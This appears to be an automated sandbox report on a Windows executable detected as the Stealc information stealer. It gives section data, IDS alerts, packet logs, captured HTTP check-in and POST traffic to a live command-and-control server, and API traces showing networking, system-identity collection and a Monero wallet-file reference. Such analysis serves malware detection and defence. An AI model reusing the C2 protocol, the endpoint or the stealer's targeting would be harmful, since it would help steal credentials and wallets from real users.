ubuokytu	0x6c8000	0x1000	0x400	e7c27197acd12ae1cfeb6993c9ad9f0b	False	0.763671875	data	5.949510288292973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6c9000	0x3000	0x2200	bea2f3a04b4f213dee6d239f7516d4d4	False	0.0705422794117647	DOS executable (COM)	0.808848242267308	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T04:01:20.917646+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49723	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 04:01:19.694441080 CEST	49723	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:01:19.704384089 CEST	80	49723	185.215.113.37	192.168.2.5
Oct 24, 2024 04:01:19.704490900 CEST	49723	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:01:19.704643011 CEST	49723	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:01:19.712253094 CEST	80	49723	185.215.113.37	192.168.2.5
Oct 24, 2024 04:01:20.623191118 CEST	80	49723	185.215.113.37	192.168.2.5
Oct 24, 2024 04:01:20.623332977 CEST	49723	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:01:20.626200914 CEST	49723	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:01:20.631860971 CEST	80	49723	185.215.113.37	192.168.2.5
Oct 24, 2024 04:01:20.917566061 CEST	80	49723	185.215.113.37	192.168.2.5
Oct 24, 2024 04:01:20.917645931 CEST	49723	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:01:23.155457020 CEST	49723	80	192.168.2.5	185.215.113.37

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 04:01:13.768277884 CEST	1.1.1.1	192.168.2.5	0x33a6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:01:13.768277884 CEST	1.1.1.1	192.168.2.5	0x33a6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49723	185.215.113.37	80	1400	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:01:19.704643011 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:01:20.623191118 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:01:20.626200914 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 35 37 36 43 42 45 36 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="hwid"CCF576CBE6684217651120------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="build"doma------DGHCBAAEHCFIDGDHJEHC--
Oct 24, 2024 04:01:20.917566061 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	22:01:15
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xde0000
File size:	1'918'464 bytes
MD5 hash:	7CEC6EEFC34F3702D47FA5A28CBBB929
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2163147892.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00DF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,019706C0), ref: 00DF98A1
GetProcAddress.KERNEL32(75900000,019704F8), ref: 00DF98BA
GetProcAddress.KERNEL32(75900000,01970420), ref: 00DF98D2
GetProcAddress.KERNEL32(75900000,019705D0), ref: 00DF98EA
GetProcAddress.KERNEL32(75900000,019705E8), ref: 00DF9903
GetProcAddress.KERNEL32(75900000,01978970), ref: 00DF991B
GetProcAddress.KERNEL32(75900000,01965C48), ref: 00DF9933
GetProcAddress.KERNEL32(75900000,01965C68), ref: 00DF994C
GetProcAddress.KERNEL32(75900000,01970438), ref: 00DF9964
GetProcAddress.KERNEL32(75900000,01970450), ref: 00DF997C
GetProcAddress.KERNEL32(75900000,01970498), ref: 00DF9995
GetProcAddress.KERNEL32(75900000,019704B0), ref: 00DF99AD
GetProcAddress.KERNEL32(75900000,01965B28), ref: 00DF99C5
GetProcAddress.KERNEL32(75900000,01970510), ref: 00DF99DE
GetProcAddress.KERNEL32(75900000,01970540), ref: 00DF99F6
GetProcAddress.KERNEL32(75900000,01965C28), ref: 00DF9A0E
GetProcAddress.KERNEL32(75900000,01970558), ref: 00DF9A27
GetProcAddress.KERNEL32(75900000,01970798), ref: 00DF9A3F
GetProcAddress.KERNEL32(75900000,01965B48), ref: 00DF9A57
GetProcAddress.KERNEL32(75900000,019706D8), ref: 00DF9A70
GetProcAddress.KERNEL32(75900000,01965B88), ref: 00DF9A88
LoadLibraryA.KERNEL32(01970780,?,00DF6A00), ref: 00DF9A9A
LoadLibraryA.KERNEL32(019706F0,?,00DF6A00), ref: 00DF9AAB
LoadLibraryA.KERNEL32(01970768,?,00DF6A00), ref: 00DF9ABD
LoadLibraryA.KERNEL32(01970708,?,00DF6A00), ref: 00DF9ACF
LoadLibraryA.KERNEL32(01970720,?,00DF6A00), ref: 00DF9AE0
GetProcAddress.KERNEL32(75070000,01970738), ref: 00DF9B02
GetProcAddress.KERNEL32(75FD0000,01970750), ref: 00DF9B23
GetProcAddress.KERNEL32(75FD0000,01978C28), ref: 00DF9B3B
GetProcAddress.KERNEL32(75A50000,01978C40), ref: 00DF9B5D
GetProcAddress.KERNEL32(74E50000,01965BC8), ref: 00DF9B7E
GetProcAddress.KERNEL32(76E80000,01978A00), ref: 00DF9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00DF9BB6

Strings

NtQueryInformationProcess, xrefs: 00DF9BAA

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 74c18b6175e6f11182105e6b46c787b9a5394cd1c292a64d3abbf846db61e25f
Instruction ID: 3ed7824e0451f198b87b7d0046de5d6d4ebe9940454edba671256a0ecf7e137f
Opcode Fuzzy Hash: 74c18b6175e6f11182105e6b46c787b9a5394cd1c292a64d3abbf846db61e25f
Instruction Fuzzy Hash: F5A13BB5700240DFD374DFA8EA88A6637F9F78C205724856AE686C3A4CDE7F9441CB64

Function 00DE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00DE460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00DE479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00DE45C7

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 6d98a91b1f50d385b9343dfd4eccc831c1b3bed83d1acb50827c91513672a929
Instruction ID: 5a073ed60d8160fb0d5ad675a441b9453e630bd1c19105168d25fa5f20969356
Opcode Fuzzy Hash: 6d98a91b1f50d385b9343dfd4eccc831c1b3bed83d1acb50827c91513672a929
Instruction Fuzzy Hash: 1541E861FCB708EAC725B7ACA84FD9E76556F49F01F917044ED00A22C0C6F469804FA7

Function 00DE4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00DE4915
StrCmpCA.SHLWAPI(?,0197F1D8), ref: 00DE493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00E00DDB,00000000,?,?,00000000,?,",00000000,?,0197F0A8), ref: 00DE4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00DE4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00DE4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00DE4E49
InternetCloseHandle.WININET(00000000), ref: 00DE4EAD
InternetCloseHandle.WININET(00000000), ref: 00DE4EC5
HttpOpenRequestA.WININET(00000000,0197F148,?,0197E7B8,00000000,00000000,00400100,00000000), ref: 00DE4B15

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

InternetCloseHandle.WININET(00000000), ref: 00DE4ECF

Strings

", xrefs: 00DE4BF2
", xrefs: 00DE4D33
------, xrefs: 00DE4B28
------, xrefs: 00DE4C69
------, xrefs: 00DE49BD

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: dd1e98a7393cf4c319b00c5bb5643410a06635b631a93a2f378366135ddc0e96
Instruction ID: 8091c23c60feb5a8c3bac10016096318978e3986fe67815c1896da0bb4d100cd
Opcode Fuzzy Hash: dd1e98a7393cf4c319b00c5bb5643410a06635b631a93a2f378366135ddc0e96
Instruction Fuzzy Hash: 7212DCB191021CAADB15EB94DC92FEEB378EF54340F5581A9B20A66091DFB02F49CF71

Function 00DF78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7910
RtlAllocateHeap.NTDLL(00000000), ref: 00DF7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00DF792F

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 8774e9a496f538e34786d0abcabb9a4b8315b0d4a9b0aed41818d54162bf0e15
Instruction ID: b480fa98abc5c20da14bbe751e36b7d0fa4a2222d3c9910be5d0655ce6ad7f0d
Opcode Fuzzy Hash: 8774e9a496f538e34786d0abcabb9a4b8315b0d4a9b0aed41818d54162bf0e15
Instruction Fuzzy Hash: 5C01A9B1A04209EFC710DF94DD45FAEBBB8F704B21F11421AFA45E3680C7B959048BB1

Function 00DF7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00DE11B7), ref: 00DF7880
RtlAllocateHeap.NTDLL(00000000), ref: 00DF7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DF789F

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
